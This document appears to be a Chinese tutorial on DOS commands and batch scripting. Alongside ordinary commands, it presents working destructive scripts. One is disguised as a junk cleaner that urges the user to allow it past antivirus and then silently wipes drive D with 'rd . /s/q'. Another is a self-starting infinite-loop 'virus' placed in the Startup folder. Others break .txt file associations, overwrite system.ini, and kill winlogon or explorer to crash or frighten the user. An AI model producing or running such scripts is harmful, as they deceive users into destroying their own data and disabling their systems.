1.DOS命令
1.1查看
type 文件名.扩展名 | more //分页显示
1.2创建文件
1)echo
2)copy con 文件名.扩展名
开始编写内容
ctrl+Z回车结束编写
1.3删除文件
del 文件名.扩展名
del *.txt //删除所有txt文件
del *.* //删除所有文件
del *.* /s /q //无提示删除所有文件
ps:只会删除文件夹里的文件,而不会删除里面的文件夹。这样操作也并不会删除子文件夹中的文件。
1.4隐藏文件
attrib +h +s +a feifei //h隐藏文件夹,s受系统保护的系统文件夹,a只读属性
fsutil file creatnew c:\windows\system.ini 409600000 //快速生成一个空文件
1.5修改关联性
assoc .txt=exefile
1.6定时关机
补充:-c "可以写字符串"
1.7改名
ren 旧名 新名
1.8移动文件
move 文件原来的路径 文件要移动的路径
1.9复制文件
copy haha.txt ..\b\ \\上一级的b目录下,相对路径
2.批处理编写(成批的处理dos命令)
2.1批处理作用
类似于程序,批处理相当于脚本,是执行一条一条命令的。不论执行结果成功与否,都会接着执行下一条命令
2.2如何处理批处理
扩展名:.bat
方法:创建一个记事本文件.txt,然后改成.bat文件
如果没有扩展名,在下图勾选显示
2.3批处理基本语法
2.3.1 @echo off 和 pause 和 echo
例:
@echo off //关闭回显,屏蔽执行过程
echo =============== //显示
echo hello,i am xxx
echo ===============
pause //暂停,直到按任意键才会执行下边的命令
无@echo off
有@echo off
2.3.2 color 和 title 和echo.
例:
@echo off //关闭回写,屏蔽执行过程
color 0a //改颜色
title clear rubbish program //改标题
echo ===============
echo clear your system rubbish
echo if 拦截 please 放行
echo ===============
pause //暂停,直到按任意键才会执行下边的命令
echo. //输出一个空行
echo rubbish is cleaning......
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul //格式化d盘
ping -n 10 127.0.0.1 >nul 2>nul //ping自己,且不显示
echo congradulations!!! rubbish is over
pause
2.3.3 区块和goto
区块:
goto:跳转
例:一个最简单的病毒
copy qq.bat "%userprofile%\「开始」菜单\程序\启动" //%userprofile%一个变量,有特殊符号加”“
:d
start //打开某个程序或网页,如果什么都不写 就是打开cmd窗口
goto d //循环到d区块
崩掉了,不要轻易尝试
2.3.4 set
set :设置变量,常用在脚本中的互动赋值
互动赋值:set /p time=请输入时间
引用变量:%time%
例:
@echo off
title 关机小程序v1.0
color 0a
:menu
cls
echo ======================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo =======================
set /p num=您的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 请输入正确的选项
pause
goto menu
:1
set /p a=请输入时间(单位/秒) //设置变量a的值,有/p那么=后边就不再是a的值,而是给用户看的
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
goto menu
:3
exit
2.3.5 补充
1.杀死进程 (针对2003或xp蓝屏命令)
ntsd -c q -pn winlogon.exe
2.杀死一个桌面
taskkill /im explorer.exe /f
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo 傻了吧
ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 嘻嘻,吓唬你
pause